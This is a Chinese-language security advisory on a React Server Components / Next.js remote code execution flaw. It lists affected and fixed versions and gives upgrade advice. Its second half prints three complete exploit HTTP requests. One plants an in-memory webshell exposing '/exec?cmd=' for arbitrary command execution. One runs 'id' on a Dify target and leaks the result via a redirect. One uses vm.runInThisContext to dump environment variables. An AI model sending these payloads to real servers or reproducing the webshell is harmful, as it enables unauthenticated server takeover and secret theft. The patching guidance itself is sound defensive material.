漏洞概述
React Server Components(RSC)架构中披露了关键的安全漏洞,其对应的CVE编号为 CVE-2025-55182 。同时,基于此架构的Next.js App Router也受到直接影响,被分配了漏洞编号 CVE-2025-66478 。这两个漏洞均源于React在服务器端反序列化客户端请求时存在安全缺陷,未经身份验证的远程攻击者可通过向服务器函数端点发送特制的恶意HTTP请求,在目标服务器上实现远程代码执行(RCE),从而可能完全控制服务器。【CVE-2025-66478与 CVE-2025-55182重复了被CVE撤回了】
技术原理
该漏洞的根本原因在于React服务器组件库(react-server-dom-*)在解码并处理客户端发送至服务器函数端点的序列化请求负载时,未能对输入数据进行充分的安全验证和净化。攻击者可利用此缺陷,构造恶意的序列化数据,在反序列化过程中触发原型链污染、或间接调用危险模块(如child_process、vm等),从而绕过安全限制,在服务器上下文执行任意操作系统命令或代码。
漏洞风险
- 风险等级: 高风险
- 风险详情: 任何未及时修复的、启用了React服务器组件或服务器函数端点的应用都可能遭受攻击。攻击者无需任何认证即可利用此漏洞,导致服务器被完全控制、数据泄露、服务中断等严重后果。目前漏洞细节与验证代码(PoC)已在互联网上公开,进一步增加了被大规模利用的风险。
受影响版本
该漏洞影响React生态系统中的多个核心包及Next.js框架,具体受影响版本如下:
1. React 及相关服务器端渲染包:
react: 19.0.0, 19.1.0 - 19.1.1, 19.2.0react-dom: 19.0.0, 19.1.0 - 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0 - 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0 - 19.1.1, 19.2.0react-server-dom-webpack: 19.0.0, 19.1.0 - 19.1.1, 19.2.0
2. Next.js(使用App Router):
14.3.0-canary.77至15.0.4之间的Canary版本15.1.0至15.1.815.2.0至15.2.515.3.0至15.3.515.4.0至15.4.715.5.0至15.5.616.0.0至16.0.6
安全版本
请将相关依赖升级至以下或更高的安全版本:
- React系列:
react&react-dom: >= 19.0.1,或 >= 19.1.2,或 >= 19.2.1react-server-dom-parcel: >= 19.0.1,或 >= 19.1.2,或 >= 19.2.1react-server-dom-turbopack: >= 19.0.1,或 >= 19.1.2,或 >= 19.2.1react-server-dom-webpack: >= 19.0.1,或 >= 19.1.2,或 >= 19.2.1
- Next.js:
- 请根据当前使用的主版本,升级至对应的最新补丁版本:
15.0.5,15.1.9,15.2.6,15.3.6,15.4.8,15.5.7,16.0.7或更高。 - 若正在使用
14.3.0-canary.77或更高版本的Canary版本,强烈建议降级回最新的稳定14.x版本。
- 请根据当前使用的主版本,升级至对应的最新补丁版本:
修复建议
- 立即升级:评估您的业务系统是否使用了受影响版本的React或Next.js。如果是,请立即安排升级至上述安全版本。升级前请务必做好数据备份和测试。
- 升级命令参考 :
- Next.js用户 :根据您的版本,运行类似
npm install next@15.0.5的命令。 - React Router / 直接使用RSC API的用户 :升级所有相关包至最新版:
react,react-dom,react-server-dom-webpack等。 - 其他框架用户 (如Expo, Waku, Redwood):请参照官方通告,升级对应的
react-server-dom-*包至最新版本。
- Next.js用户 :根据您的版本,运行类似
- 官方参考 :
- Next.js漏洞通告:https://nextjs.org/blog/CVE-2025-66478
- 关注React官方发布的安全更新。
请您及时开展安全自查,如在受影响范围内,务必尽快进行更新修复,以避免被外部攻击者入侵。
内存马
bash
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 565
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const originalEmit=http.Server.prototype.emit;http.Server.prototype.emit=function(event,...args){if(event==='request'){const[req,res]=args;const parsedUrl=url.parse(req.url,true);if(parsedUrl.pathname==='/exec'){const cmd=parsedUrl.query.cmd||'whoami';cp.exec(cmd,(err,stdout,stderr)=>{res.writeHead(200,{'Content-Type':'application/json'});res.end(JSON.stringify({success:!err,stdout,stderr,error:err?err.message:null}));});return true;}}return originalEmit.apply(this,arguments);};})();","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
利用方法:/exec?cmd=whoami
dify
bash
POST /apps HTTP/1.1
Host: ip:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: 7a3f9c1e
X-Nextjs-Html-Request-Id: 9bK2mPqRtVwXyZ3$@!sT7u
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Connection: close
Accept: */*
Accept-Language: en-US,en;q=0.9
Content-Length: 581
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"


paylaod:
javascript
POST /formaction HTTP/1.1
Host: 192.168.50.243:3002
Accept-Encoding: identity
User-Agent: Python-urllib/3.9
Content-Type: multipart/form-data; boundary=----BoundaryCVE202555182
Content-Length: 318
------BoundaryCVE202555182
Content-Disposition: form-data; name="$ACTION_REF_0"
------BoundaryCVE202555182
Content-Disposition: form-data; name="$ACTION_0:0"
{"id": "vm#runInThisContext", "bound": ["process.mainModule.require(\"child_process\").execSync(\"set\").toString()"]}
------BoundaryCVE202555182--















